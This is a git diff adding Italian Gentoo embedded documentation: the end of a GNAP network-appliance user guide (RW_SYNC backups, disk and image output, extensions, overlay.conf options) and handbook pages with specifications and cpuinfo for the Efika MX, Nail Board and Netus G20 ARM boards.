+aggiunto durante l'installazione di GNAP, è un file conflet contenente il
+sostituto necessario per sovrascrivere <path>etc/conf.d/dropbear</path>.
+</note>
+
+<p>
+Se si vuole anche cambiare la password per gli utenti di sistema, lo si può fare
+sovrascrivendo un file <path>etc/gnap/chpasswd</path> contenente linee
+nome_utente:password_cifrata che verranno aggiunte con <c>chpasswd -e</c>
+durante l'avvio. Leggere <c>man chpasswd</c> per i dettagli sul formato di
+questo file.
+</p>
+
+</body>
+</section>
+<section>
+<title>Supporto per il salvataggio dei cambiamenti alla configurazione durante
+una sessione dal vivo</title>
+<body>
+
+<p>
+Un problema che potrebbe essere riscontrato con i sistemi GNAP usando
+configurazioni dinamiche (come quelle dei firewall) è che tutti i cambiamenti
+fatti durante una sessione dal vivo saranno persi al prossimo riavvio. Una
+possibile soluzione è quella di riportare tutti questi cambiamenti sulle
+directory di overlay del sistema host e assicurarsi di masterizzare un nuovo
+CD-R con la nuova configurazione prima del prossimo riavvio, ma non è molto
+pratico. Un'alternativa è l'uso di una partizione in lettura/scrittura e del
+sistema RW_SYNC per il backup dei cambiamenti così da poterli recuperare
+automaticamente da un dato account al prossimo riavvio.
+</p>
+
+<p>
+Per abilitare questo sistema, è necessario aggiungere l'opzione RW_SYNC al
+proprio file <e>overlay.conf</e>, così da farla puntare alla partizione r/w che
+si desidera utilizzare. GNAP supporta le partizioni FAT ed ext2:
+</p>
+
+<pre caption="Contenuto di RW_SYNC per il backup su floppy disk">
+RW_SYNC=/dev/fd0
+</pre>
+
+<p>
+Durante il primo avvio, quando l'opzione risulta attivata ma nessun file di
+backup è presente ancora sulla partizione puntata da RW_SYNC, l'utente riceverà
+il seguente errore durante l'inizializzazione del sistema target, messaggio che
+si può ignorare senza problemi:
+</p>
+
+<pre caption="Errore innocuo ricevuto al primo avvio con l'opzione RW_SYNC">
+* Sync rw-sync changes to /dev/fd0 ...
+* Missing gnap_sav.tgz or gnap_md5.sum file : aborting             [ !! ]
+</pre>
+
+<p>
+Una volta che l'opzione RW_SYNC è abilitata, è possibile sfruttare lo script di
+supporto <c>rw-sync.sh</c> sul sistema GNAP target per specificare quali file
+salvare. C'è bisogno solamente di indicare i file una volta così che questi
+vengano aggiunti al file rw-sync.cfg per i backup successivi.
+</p>
+
+<impo>
+Non dimenticare di aggiungere il file <path>/etc/rw-sync.cfg</path> alla lista
+di backup così da poterlo recuperare al prossimo riavvio.
+</impo>
+
+<pre caption="Indicazione dei file e delle directory per il backup">
+# rw-sync.sh -a /etc/rw-sync.cfg
+# rw-sync.sh -a /etc/shorewall/
+</pre>
+
+<p>
+Adesso è possibile effettuare il backup dei file ogni volta dopo una modifica
+usando il comando seguente:
+</p>
+
+<pre caption="Backup sulla partizione in lettura/scrittura">
+# rw-sync.sh -w
+</pre>
+
+<p>
+Per maggiori informazioni su <c>rw-sync.sh</c>, basta eseguirlo senza alcuna
+opzione in modo da visualizzare le istruzioni.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Output su disco</title>
+<section>
+<title>Obiettivi e requisiti</title>
+<body>
+
+<p>
+Nel capitolo precedente, è stato usato GNAP per produrre un LiveCD avviabile con
+un sistema per dispositivi di rete su di esso. GNAP può anche essere usato per
+inizializzare un disco con un filesystem personalizzato per dispositivi di rete,
+pronto per essere montato su un sistema target e avviato.
+</p>
+
+<p>
+Questa modalità di utilizzo può essere sfruttata per inizializzare dischi rigidi
+che possono così essere montati su sistemi con basse prestazioni, ma sono
+particolarmente utili per piccoli dispositivi target come gli strumenti forniti
+da <uri link="http://www.soekris.com/">Soekris</uri> che possono essere avviati
+da una scheda CompactFlash, o altri sistemi embedded che verranno avviati da un
+bus IDE (Disk-On-Module, Disk-On-Chip...).
+</p>
+
+<p>
+Per questa modalità di utilizzo, è necessario eseguire <c>gnap_overlay</c> con i
+privilegi di root per poter così manipolare i dispositivi di memorizzazione a
+basso livello. È anche leggermente più complicato e pericoloso da utilizzare,
+quindi fare attenzione ed usare questo metodo a proprio rischio e pericolo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Preparazione dei dispositivi</title>
+<body>
+
+<p>
+Precedentemente all'esecuzione di <c>gnap_overlay</c> per la prima volta su un
+componente, bisogna preparare il dispositivo target. Si dovrebbe collegare il
+disco rigido, la scheda CF (CompactFlash) o altri componenti che si desidera
+usare sul sistema host e determinare qual'è il nome dell'elemento montato (i log
+di sistema possono risultare utili in questo caso). Non c'è bisogno di montare i
+componenti. Negli esempi che seguono si suppone che il disco target risulti
+disponibile sul sistema host come <path>/dev/sdb</path>.
+</p>
+
+<p>
+Se non lo si ha ancora fatto, è necessario partizionare il dispositivo. La
+partizione dove GNAP installerà il filesystem dovrebbe essere marcata come
+"attiva" ed essere grande abbastanza da contenere GNAP stesso. In caso di dubbi,
+creare una singola partizione di 16Mb, e attivarla.
+</p>
+
+<pre caption="Partizionamento del disco target /dev/sdb">
+# fdisk /dev/sdb
+</pre>
+
+<p>
+Il disco potrebbe anche avere un Master Boot Record (MBR) installato, che
+permetterà al sistema di avviarsi. Se non si è sicuri, è possibile installare un
+MBR utilizzando il seguente comando:
+</p>
+
+<pre caption="Installazione di un MBR sul disco target /dev/sdb">
+# dd if=/usr/lib/gnap/mbr/mbr.bin of=/dev/sdb bs=512 count=1
+</pre>
+
+<note>
+Sarà sufficiente preparare il dispositivo una sola volta, sarà possibile poi
+eseguire più volte il comando <c>gnap_overlay</c> su di esso dal momento in cui
+è stato preparato.
+</note>
+
+</body>
+</section>
+<section>
+<title>Utilizzo di gnap_overlay per la scrittura su disco</title>
+<body>
+
+<p>
+In modalità disco, bisogna passare due opzioni a <c>gnap_overlay</c>. Una è il
+nome completo della partizione del disco target <e>così come viene indicata sul
+sistema host</e> (opzione <c>-d</c>), l'altra è lo short-name (identificativo)
+della partizione sul disco target <e>così come viene indicata dal sistema target
+all'avvio</e> (opzione <c>-r</c>). La distinzione risulta abbastanza importante,
+di seguito viene riportato un esempio.
+</p>
+
+<p>
+Supponiamo di voler installare un sistema GNAP su una scheda CF, così da usarla
+per avviare un dispositivo Soekris. Inserendola nel sistema host (quello su cui
+verrà eseguito <c>gnap_overlay</c>), sarà riconosciuta come
+<path>/dev/sdb</path>, per cui creareuna singola partizione su di essa,
+<path>/dev/sdb1</path>. Quindi nel caso di questo esempio, il nome completo
+della partizione sul disco target <e>così come indicato sul sistema host</e> è
+<c>/dev/sdb1</c>.
+</p>
+
+<p>
+D'altro canto, è risaputo, da test o specifiche, che il componente Soekris
+riconoscerà la scheda CF inserita al suo interno come <path>/dev/hda</path>.
+Quindi l'identificativo della partizione sul disco target <e>così come indicato
+sul sistema target durante l'avvio</e> è "hda1".
+</p>
+
+<p>
+Per inizializzare un disco con una configurazione GNAP, si deve semplicemente
+sostituire l'opzione <c>-i</c> (utilizzata per costruire un file iso per LiveCD)
+con le giuste opzioni <c>-d</c> e <c>-r</c>:
+</p>
+
+<pre caption="Inizializzazione della partizione /dev/sdb1">
+# gnap_overlay -d /dev/sdb1 -r hda1 -o myoverlay/
+</pre>
+
+<note>
+La partizione sul disco target (opzione <c>-d</c>) potrebbe non risultare
+montata. Lo script <c>gnap_overlay</c> la monterà quando necessario.
+</note>
+
+</body>
+</section>
+<section>
+<title>Opzioni specifiche</title>
+<body>
+
+<p>
+Due opzioni possono essere utili in caso di sistema target embedded (per sistemi
+embedded, o incapsulati, si indicano sistemi specifici inseriti ed integrati con
+il sistema che li ospita). Una è data dal parametro opzionale <c>-m</c> che può
+venire utilizzato per indicare a GNAP di riportare in memoria il filesystem una
+volta all'avvio per evitare accessi multipli in lettura che possono usurare il
+dispositivo (o renderlo troppo lento).
+</p>
+
+<p>
+L'altra consiste nel parametro <c>-s</c> che può essere utilizzato per indicare
+a GNAP di inviare la console alla porta seriale, con uno specifico baudrate.
+Risulta essere particolarmente utile per dispositivi con sola porta seriale come
+appunto i dispositivi Soekris.
+</p>
+
+<pre caption="Riduzione degli accessi in lettura e utilizzo di una console
+seriale con baudrate pari a 19200">
+# gnap_overlay -d /dev/sdb1 -r hda1 -o myoverlay/ -m -s 19200
+</pre>
+
+</body>
+</section>
+<section>
+<title>Scrittura file immagine del disco</title>
+<body>
+
+<p>
+Si potrebbe volere scrivere su un file immagine del disco piuttosto che lavorare
+direttamente su quest'ultimo. Ciò è reso possibile dall'opzione <c>-l</c>:
+questa permette di specificare il nome del file immagine del disco su cui
+scrivere. Le opzioni della modalità disco (ad eccezione dell'opzione <c>-d</c>)
+saranno applicate in modalità immagine.
+</p>
+
+<pre caption="Scrittura su un pre-esistente file immagine del disco nominato
+myimagefile.img">
+# gnap_overlay -l myimagefile.img -r hda1 -o myoverlay/ -m -s 19200
+</pre>
+
+<warn>
+Sul file immagine del disco è supportato l'uso di una sola partizione.
+</warn>
+
+<p>
+Alternativamente si può chiedere a GNAP di creare un file immagine del disco
+usando l'opzione <c>-L</c>. Il file immagine ha dimensione predefinita pari a 15
+Mb, ma si può specificarne una alternativa usando l'opzione <c>-S</c>:
+</p>
+
+<pre caption="Scrittura su una nuova immagine del disco chiamata
+newimagefile.img">
+# gnap_overlay -L newimagefile.img -S 14 -r hda1 -o myoverlay/
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uso delle estensioni</title>
+<section>
+<title>Estensioni e nuova realizzazione</title>
+<body>
+
+<p>
+si potrebbe volere aggiungere caratteristiche particolari al proprio sistema
+GNAP per dispositivi di rete. Il modo più semplice per farlo è l'uso delle
+<e>estensioni</e>, piccoli pacchetti software che aggiungono funzionalità ad un
+sistema GNAP.
+</p>
+
+<p>
+L'estensioni sono file compressi <path>.tar.bz2</path> con nomi standardizzati.
+Vengono installati in <path>/usr/lib/gnap/extensions</path> e sono chiamati
+<path>gnapext_[nome].tbz2</path>. L'estensione <e>boa</e>, per esempio, è in
+realtà il file <path>/usr/lib/gnap/extensions/gnapext_boa.tbz2</path>.
+</p>
+
+<p>
+Il programma <c>gnap_remaster</c> combina un file contenente un filesystem GNAP
+di base, uno file GNAP core esistente e estensioni per creare un nuovo file GNAP
+core che contenga le estensioni scelte dall'utente. Quindi, sarà possibile usare
+il file GNAP core esteso ottenuto con <c>gnap_overlay</c> per creare sistemi
+specifici che facciano uso di funzionalità extra.
+</p>
+
+<figure link="/proj/en/base/embedded/gnap_remaster.png" short="Principi di
+gnap_remaster" caption="Come funziona gnap_remaster"/>
+
+</body>
+</section>
+<section>
+<title>Installazione del pacchetto di estensione per GNAP</title>
+<body>
+<p>
+Il pacchetto di estensione per GNAP, che installa il programma
+<c>gnap_remaster</c>, il file basefs di GNAP e le estensioni predefinite (tutto
+il necessario per lavorare con le estensioni), è disponibile attraverso Portage.
+Si raccomanda di installare la versione corrispondente alla propria versione del
+pacchetto GNAP.
+</p>
+
+<pre caption="Installazione del pacchetto di estensione per GNAP">
+# emerge gnap-ext
+</pre>
+
+<warn>
+Il programma gnap-ext potrebbe essere disponibile solamente in "~x86". Se
+necessario modificare il proprio file
+<path>/etc/portage/package.keywords</path>.
+</warn>
+
+<note>
+Verrà recuperato così il file basefs di GNAP, che ha dimensioni abbastanza
+grandi (circa 9Mb). È possibile impostare la USE flag "minimal" se non si
+desidera scaricare il file basefs e il pacchetto di estensioni predefinito, ma
+solamente il programma <c>gnap_remaster</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Generazione di un file GNAP core con estensioni</title>
+<body>
+
+<p>
+Si può invocare <c>gnap_remaster</c> con i nomi delle estensioni necessarie, da
+utente root. Questo porterà alla creazione di un file core rimaneggiato dal nome
+mynewcore.tar con in aggiunta le estensioni richieste:
+</p>
+
+<pre caption="Generazione del file GNAP core, con aggiunta l'estensione per
+boa">
+# gnap_remaster -e boa -o mynewcore.tar
+</pre>
+
+<note>
+Si deve utilizzare il <e>nome</e> delle estensioni, non il nome del file. È
+possibile combinare opzioni <c>-e</c> multiple contemporaneamente.
+</note>
+
+</body>
+</section>
+<section>
+<title>Utilizzo di gnap_overlay su un file GNAP core specifico</title>
+<body>
+
+<p>
+È facile fare in modo che <c>gnap_overlay</c> utilizzi il file core appena
+creato invece che quello predefinito. Basta usare l'opzione <c>-g</c>:
+</p>
+
+<pre caption="Imporre a gnap_overlay l'utilizzo del file core creato a mano">
+$ gnap_overlay -g mynewcore.tar -i myfirewall.iso -o myoverlay/
+</pre>
+
+<note>
+Il programma <c>gnap_remaster</c> può essere usato anche su moduli creati
+dall'utente: estensioni, minkernpackages e modulespackages. Per favore si legga
+la <uri link="/proj/en/embedded/gnap-advancedguide.xml">GNAP Guida Utente
+Avanzata</uri> (ndT: in inglese( per maggiori informazioni in merito
+all'argomento.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Riferimenti per GNAP</title>
+<section>
+<title>overlay.conf</title>
+<body>
+
+<table>
+<tr>
+  <th>Opzioni</th>
+  <th>Valori</th>
+  <th>Valore predefinito</th>
+</tr>
+<tr>
+  <ti>EMPTY_ROOTPASS</ti>
+  <ti>
+    Se impostato a yes (si), la password dell'utente root sarà vuota e chiunque
+    tramite terminale potrà accedere al sistema come tale utente. Dovrebbe
+    essere usata principalmente per scopi di test del sistema.
+  </ti>
+  <ti><c>no</c></ti>
+</tr>
+<tr>
+  <ti>FW_TYPE</ti>
+  <ti>
+    Impostare su <c>shorewall</c> o <c>firehol</c> in merito a quale sistema
+    firewall si desidera utilizzare.
+  </ti>
+  <ti><c>shorewall</c></ti>
+</tr>
+<tr>
+  <ti>IP_RELAY</ti>
+  <ti>All'avvio deve essere attiva la trasmissione degli IP ?</ti>
+  <ti><c>no</c></ti>
+</tr>
+<tr>
+  <ti>KEYMAP</ti>
+  <ti>Valore per la mappa dei caratteri su console.</ti>
+  <ti><c>us</c></ti>
+</tr>
+<tr>
+  <ti>NBCARDS</ti>
+  <ti>Numero di schede di rete connesse che si vogliono avviare.</ti>
+  <ti><c>1</c></ti>
+</tr>
+<tr>
+  <ti>NTPSERVER</ti>
+  <ti>
+    Nome del server NTP da usare come sorgente per la sincronizzazione
+    temporale.
+  </ti>
+  <ti>vuoto (il tempo non è sincronizzato tramite NTP)</ti>
+</tr>
+<tr>
+  <ti>RW_SYNC</ti>
+  <ti>
+    Percorso della partizione in lettura/scrittura da usare per il salvataggio
+    dei file di configurazione modificati utilizzando rw_sync.sh
+  </ti>
+  <ti>vuoto (non è usato il sistema di backup RW_SYNC)</ti>
+</tr>
+<tr>
+  <ti>START_SERVICES</ti>
+  <ti>
+    Lista dei servizi extra da eseguire all'avvio. Utile per avviare servizi
+    dalle estensioni (come boa).
+  </ti>
+  <ti>vuoto (nessun servizio extra)</ti>
+</tr>
+<tr>
+  <ti>TC_TYPE</ti>
+  <ti>
+    Impostare su <c>cbqinit</c> o <c>htbinit</c> in merito al sistema di
+    controllo del traffico che si desidera usare.
+  </ti>
+  <ti><c>cbqinit</c></ti>
+</tr>
+<tr>
+  <ti>TIMEZONE</ti>
+  <ti>
+    Il <uri link="http://leaf.sourceforge.net/doc/guide/buci-tz.html">codice di
+    fuso orario compatibile con uclibc</uri>.
+  </ti>
+  <ti>vuoto (UTC)</ti>
+</tr>
+<tr>
+  <ti>USE_DNSDHCP</ti>
+  <ti>Impostare a <c>yes</c> per avere il demone DNSMasq esguito all'avvio.</ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+<tr>
+  <ti>USE_FW</ti>
+  <ti>
+    Impostare a <c>yes</c> per avere lo script del firewall eseguito all'avvio.
+    Vedere l'opzione FW_TYPE.
+  </ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+<tr>
+  <ti>USE_PPPOE</ti>
+  <ti>
+    Impostare a <c>yes</c> per avere il demone rp-pppoe eseguito all'avvio.
+  </ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+<tr>
+  <ti>USE_SSH</ti>
+  <ti>
+    Impostare a <c>yes</c> per avere il demone Dropbear eseguito all'avvio.
+  </ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+<tr>
+  <ti>USE_TC</ti>
+  <ti>
+    Impostare a <c>yes</c> per avere lo script di controllo del traffico
+    eseguito all'avvio. Vedere l'opzione TC_TYEP.
+  </ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+<tr>
+  <ti>USE_VPN</ti>
+  <ti>
+    Impostare a <c>yes</c> per avere il demone OpenVPN eseguito all'avvio.
+  </ti>
+  <ti><c>no</c> (non eseguito)</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>File specifici di GNAP da sovrascrivere sul sistema target</title>
+<body>
+
+<p>
+Oltre al file <path>etc/overlay.conf</path>, GNAP usa diversi file aggiuntivi
+sul sistema target, di cui una lista è sotto riportata:
+</p>
+
+<table>
+<tr>
+  <th>File sovrascritti</th>
+  <th>Scopo</th>
+  <th>Esempio di contenuti</th>
+</tr>
+<tr>
+  <ti><path>etc/rw_sync.conf</path></ti>
+  <ti>
+    Il file di controllo di rw_sync.sh, contiene i file e le directory di cui
+    dovrebbe essere fatto il backup. Probabilmente, si vorrà usare rw_sync.sh
+    per modificarne il contenuto.
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti><path>etc/gnap/start_services</path></ti>
+  <ti>
+    Contiene una lista di nomi di servizi (separati da spazi bianchi) che il
+    sistema target dovrebbe in aggiunta eseguire al proprio avvio. Questi
+    servizi devono esistere come script in <path>/etc/init.d</path> sul sistema
+    target.
+  </ti>
+  <ti><c>iptables</c></ti>
+</tr>
+<tr>
+  <ti><path>etc/gnap/chpasswd</path></ti>
+  <ti>
+    Rappresenta un file che sarà riempito da <c>chpasswd -e</c> all'avvio per
+    inizializzare le password nel sistema. Dovrebbe contenere una lista di
+    linee nome_utente:password_cifrata.
+  </ti>
+  <ti><c>root:$1$o0YB.OW/$llYLxHFYX5DQrZF7FZicJ0</c></ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Opzioni di gnap_overlay e gnap_remaster</title>
+<body>
+
+<p>
+Si prega di fare riferimento alla pagina di manuale per informazioni su tutte le
+opzioni disponibili con questi comandi:
+</p>
+
+<pre caption="Recupero di maggiori informazioni su gnap_overlay o gnap_remaster">
+$ man gnap_overlay
+$ man gnap_remaster
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-efikamx.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-efikamx.xml
new file mode 100644
index 00000000..128932c6
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-efikamx.xml
@@ -0,0 +1,93 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-efikamx.xml,v 1.1 2010/03/22 20:36:10 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Scheda ARMv7-A Little-endian di Genesi.
+</abstract>
+
+<version>0.1</version>
+<date>2009-12-10</date>
+
+<section>
+<title>Documentazione Gentoo</title>
+<body>
+<p>
+Il processo per il supporto della scheda Efika MX è in corso, grazie a <uri
+link="http://www.genesi-usa.com">Genesi</uri> che ha fornito agli sviluppatori
+di Gentoo l'hardware necessario per permettere loro di portare avanti questo
+obbiettivo.
+</p>
+<!--
+<ul>
+	<li><uri link="http://dev.gentoo.org/~armin76/arm/sheevaplug/install.xml">Documentation about installing Gentoo on the Marvell Sheevaplug</uri></li>
+</ul>
+-->
+</body>
+</section>
+
+<section>
+<title>Specifiche Genesi Efika MX</title>
+<body>
+
+<pre caption="Specifiche della scheda">
+# Freescale i.MX51 SoC
+# Processore ARMv7-A 800MHz ARM Cortex-A8
+# 512MB DDR2 RAM
+# 4GB USB SSD Flash
+# Scheda Wireless Ralink RT3070USB
+# Scheda Ethernet ASIX AX88772 USB 2.0
+# Scheda audio
+#
+# 1x SDHC slot
+# 2x USB 2.0 port
+# 1x HDMI out
+# 1x Audio IN
+# 1x Audio OUT
+# 1x Ethernet 100Mbps
+# Pulsante alimentazione
+#
+# Scheda con interfaccia seriale e JTAG
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+Processor	: ARMv7 Processor rev 1 (v7l)
+BogoMIPS	: 799.53
+Features	: swp half thumb fastmult vfp edsp
+CPU implementer	: 0x41
+CPU architecture: 7
+CPU variant	: 0x2
+CPU part	: 0xc08
+CPU revision	: 1
+
+Hardware	: Genesi Efika MX
+Revision	: 51025
+Serial		: 0000000000000000
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Riferimenti:</title>
+<body>
+
+<ul>
+  <li><uri link="http://www.genesi-usa.com/">Genesi USA</uri></li>
+  <li><uri link="http://www.powerdeveloper.org/">PowerDeveloper.org</uri></li>
+</ul>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nailboard.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nailboard.xml
new file mode 100644
index 00000000..c08e8b88
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nailboard.xml
@@ -0,0 +1,158 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-nailboard.xml,v 1.4 2010/03/22 20:47:12 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Scheda arm4vl little-endian.
+</abstract>
+
+<version>0.1</version>
+<date>2008-04-18</date>
+
+<section>
+<title>Specifiche della scheda :</title>
+<body>
+
+<pre caption="Specifiche della scheda">
+
+# La scheda viene alimentata solo tramite la porta USB (non è richiesto alcun alimentatore esterno)
+# Connettore USB Maschio (upstream)
+# Connettore USB Femmina (downstream)
+# Dispositivo JTAG USB integrato (attraverso il chip FT2232)
+# USB Hub integrato
+# porta console seriale USB (attraverso il chip FT2232)
+# GPIO controllato via USB (per la configurazione)
+# Interfaccia gadget USB (attraverso il modulo Hammer)
+    * Driver Gadget Ethernet (default)
+    * Driver Gadget Porta Seriale
+    * Driver Mass Storage Driver
+
+# Interfaccia host USB (attraverso il modulo Hammer)
+    * USB 1.1 Compliant
+    * Supporto Bassa Velocità (2mb)
+    * Supporto Alta Velocità (12mb)
+
+# 3 LED Utente disponibili
+    * Due sulla Nail Board
+    * Un LED utente sul modulo Hammer
+    * LED utente sulla scheda Hammer
+
+# 2 interruttori a bottone gestiti via interrupt
+# PWM buzzer controllabile dall'utente
+# Bottone di Reset
+# LED Alimentazione
+# Header di espansione (20-pin: 2 x10)
+    * +5V disponibile
+    * +3.3V disponibile
+    * 2 porte SPI
+    * 2 connettori per Porta Seriale (TX/RX)
+    * GPIO
+    * Interrupt Esterni
+    * Gli header possono essere configurati tramite jumper
+
+# Header del modulo Hammer
+    * Accesso a tutti i 40 I/O pins del modulo Hammer
+    * Header della dimensione di 0.1 pollici
+</pre>
+
+</body>
+</section>
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+
+<pre caption="CPU Info">
+Processor	: ARM920T rev 0 (v4l)
+BogoMIPS	: 101.17
+Features	: swp half thumb
+CPU implementer	: 0x41
+CPU architecture: 4T
+CPU variant	: 0x1
+CPU part	: 0x920
+CPU revision	: 0
+Cache type	: write-back
+Cache clean	: cp15 c7 ops
+Cache lockdown	: format A
+Cache format	: Harvard
+I size		: 16384
+I assoc		: 64
+I line length	: 32
+I sets		: 8
+D size		: 16384
+D assoc		: 64
+D line length	: 32
+D sets		: 8
+
+Hardware	: TCT_HAMMER
+Revision	: 0000
+Serial		: 0000000000000000
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Preparazione alla Cross Compilazione</title>
+<body>
+
+<pre caption="Setup uClibc">
+echo '>=cross-arm-softfloat-linux-uclibc/gcc-4' >> /etc/portage/package.mask
+echo 'dev-embedded/openocd ft2232 ftdi' >> /etc/portage/package.use
+modprobe ftdi_sio
+emerge openocd
+ACCEPT_KEYWORDS="~*" emerge crossdev
+crossdev arm-softfloat-linux-uclibc
+</pre>
+
+<pre caption="Setup uClibc + EABI">
+echo '>=cross-armv4l-softfloat-linux-uclibceabi/gcc-4' >>
+/etc/portage/package.mask
+echo 'dev-embedded/openocd ft2232 ftdi' >> /etc/portage/package.use
+modprobe ftdi_sio
+emerge openocd
+ACCEPT_KEYWORDS="~*" emerge crossdev
+crossdev armv4tl-softfloat-linux-uclibceabi
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Ulteriori informazioni:</title>
+<body>
+
+<ul>
+  <li><uri link="http://tincantools.com">TinCanTools</uri></li>
+  <li>
+    <uri link="http://www.elinux.org/Category:TCT-Hammer">
+    TCT-Hammer Wiki</uri>
+  </li>
+  <li><uri link="http://www.elinux.org/Hammer_Board">Hammer Board</uri></li>
+  <li><uri link="http://www.elinux.org/Nail_Board">Nail Board</uri></li>
+  <li>
+    <uri
+    link="http://elinux.org/upload/e/ef/Hammer-kernel-config">
+    Configurazione Kernel Predefinita</uri>
+  </li>
+  <li>
+    <uri link="http://elinux.org/upload/d/d7/Nail_schematic.pdf">Nail
+    Schematic</uri>
+  </li>
+  <li>
+    <uri
+    link="http://dev.gentoo.org/~solar/embedded/tct/gnail-20080609.tar.bz2">
+    (Gentoo Embedded) Riferimenti Firmware</uri>
+  </li>
+  <li>
+    <uri
+    link="http://dev.gentoo.org/~solar/embedded/tct/linux-2.6.22.config">
+    (Gentoo Embedded) Riferimenti Configurazione Kernel</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netusg20.xml b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netusg20.xml
new file mode 100644
index 00000000..bcc10d01
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netusg20.xml
@@ -0,0 +1,248 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/boards-arm-netusg20.xml,v 1.1 2010/06/23 20:24:05 scen Exp $ -->
+<!-- Based on boards-arm-sheevaplug.xml -->
+
+<sections>
+
+<abstract>
+Netus G20 (ARMv5TE) da ACME SYSTEMS.
+</abstract>
+
+<version>0.1</version>
+<date>2009-11-01</date>
+
+<section>
+<title>Documentazione Gentoo</title>
+<body>
+<p>
+<uri link="http://netus.acmesystems.it/doku.php">Netus G20</uri> è una scheda
+di 4x4 cm, predisposta per Linux, con un motore interno basato su Atmel(TM)
+AT91SAM9G20 (ARMv5TE) e venduto da <uri link="http://acmesystems.it/">ACME
+SYSTEMS</uri>. Viene supportato da Gentoo grazie al produttore e
+specialmente da <uri link="http://netus.kdev.it">Davide Cantaluppi</uri> che ne
+effettua la manutenzione. Di fatto, Gentoo è il sistema operativo predefinito
+fornito con questo dispositivo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Specifiche ACME SYSTEMS Netus G20</title>
+<body>
+<pre caption="Board Specifications">
+# CPU <uri link="http://www.atmel.com/dyn/products/product_card.asp?part_id=4337">Atmel AT91SAM9G20</uri> basata su ARM926EJ-S con una velocità di clock di 400MHz.
+# 64MBytes di SDRAM con accesso a 32bit.
+# 8MBytes di Dataflash.
+# Dimensioni 40x40mm. Peso 10g.
+# Intervallo temperatura operativa: -20º + 70º
+# Quattro connettori da 60 pin (altezza 0.8mm) con i seguenti segnali disponibili sui lati superiore ed inferiore (<uri link="http://netus.acmesystems.it/doku.php?id=hw:netusg20pinout">vedere la piedinaturat</uri>)
+  # One USB 2.0 Full Speed (12 Mbits per second) Device Port.
+  # Two USB 2.0 Full Speed (12 Mbits per second) Host Ports.
+  # One Ethernet MAC 10/100 Base T Port.
+  # Image Sensor Interface (ITU-R BT. 601/656 12 bit).
+  # One Two-slot MultiMedia Card Interface (MCI). SDCard/SDIO and MultiMediaCard(TM) Compliant.
+  # Four Universal Synchronous/Asynchronous Receiver Transmitters (USART) with RS485 support.
+  # Two 2-wire UARTs.
+  # Two Master/Slave Serial Peripheral Interfaces (SPI).
+  # One Synchronous Serial Controller (SSC). I2S Analog Interface Support.
+  # Two Wire Interface
+  # Four-channel 10-bit ADC.
+  # 80 general purpose I/O lines multiplexed with up to two peripheral I/Os.
+    # Individually Programmable Open-drain, Pull-up Resistor and Synchronous Output.
+    # All I/O Lines are Schmitt Trigger when programmed as inputs.
+    # Input Change Interrupt Capability on Each I/O Line.
+  # Serial 2 wire console port.
+  # JTAG Console and Boundary Scan on All Digital Pins (IEEE(R) 1149.1).
+# Two Three-channel 16-bit Timer/Counters with PWM Generation.
+# Watchdog timer.
+# Real-time clock (optional external battery backup).
+# Very Slow Clock Operating Mode.
+</pre>
+</body>
+</section>
+
+<section>
+<title>/proc/cpuinfo</title>
+<body>
+<pre caption="CPU Info">
+netusg20 / # cat /proc/cpuinfo
+Processor    : ARM926EJ-S rev 5 (v5l)
+BogoMIPS    : 197.83
+Features    : swp half thumb fastmult edsp java
+CPU implementer    : 0x41
+CPU architecture: 5TEJ
+CPU variant    : 0x0
+CPU part    : 0x926
+CPU revision    : 5
+
+Hardware    : Atmel AT91SAM9G20-EK
+Revision    : 0000
+Serial        : 0000000000000000
+</pre>
+</body>
+</section>
+
+<section>
+<title>dmesg</title>
+<body>
+<pre caption="Kernel messages">
+Linux version 2.6.31-gentooGentooNETUSembedded (root@localhost) (gcc version
+4.3.3 (Gentoo 4.3.3 p1.0, pie-10.1.5) ) #29 Fri Oct 16 12:00:28 CEST 2009
